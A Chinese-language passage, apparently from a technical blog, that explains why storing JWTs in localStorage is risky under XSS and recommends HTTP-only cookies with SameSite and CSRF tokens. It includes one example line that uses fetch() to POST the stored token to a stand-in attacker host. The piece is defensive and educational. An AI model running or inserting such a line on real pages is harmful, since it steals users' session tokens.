用户在表单提交登录信息后，服务器验证密码并返回令牌（通常是JWT）。传统做法是把令牌存入localStorage，后续每次请求在Authorization: Bearer头中携带。这种方式页面刷新后仍能保持登录状态，也方便跨域调用API，确实“能用”。
但localStorage有一个致命问题：页面上的任何JavaScript都能读取它的全部内容。你的代码、npm依赖、浏览器插件，以及XSS攻击者注入的脚本——只要能在这页面上执行JS，就能拿到令牌：
fetch('https://attacker.example/collect', { method: 'POST', body: localStorage.getItem('token') });
拿到令牌意味着什么？“Bearer”这个词是字面意思：持令牌者即是你。服务器验签通过后就把对方当作你，而且这一切发生在攻击者自己的服务器上、自己的时间表里，登录状态可以持续到令牌过期（常见教程默认7天有效期，那就是7天 skeleton key）。你完全无法察觉，也无法撤销。
有人会说“如果攻击者能在你页面上跑JS，你已经完了”。这句话前半句没错，但两种情况的攻击效果并不相同。
如果攻击者能读取令牌，令牌会被拿走，攻击在你关掉标签页后依然持续，在攻击者自己的机器上以他的节奏运行，直到令牌失效。
如果攻击者只能借助HTTP-only Cookie，他们只能在受害者浏览器处于登录状态时，从那个标签页内部发出请求——每个请求都会经过你的服务器，经过你的速率限制、日志和风控。攻击者就像一个只能站在你家房子里、在摄像头前、等到主人出门就无计可施的小偷。
两种都不好，但后者显然有更小的“爆炸半径”。安全不是追求完美，而是降低风险、减少攻击面。
因此，把令牌存进HTTP-only Cookie是更安全的选择：JavaScript访问不到，XSS脚本无法直接读取。配合SameSite属性和CSRF Token，可以同时防御XSS和CSRF两种攻击。
编注：信源为技术博客，材料系统讲解XSS与令牌存储的关系，对Cookie防CSRF着墨较少。如需完整了解认证安全，建议另读SameSite属性与CSRF Token相关资料。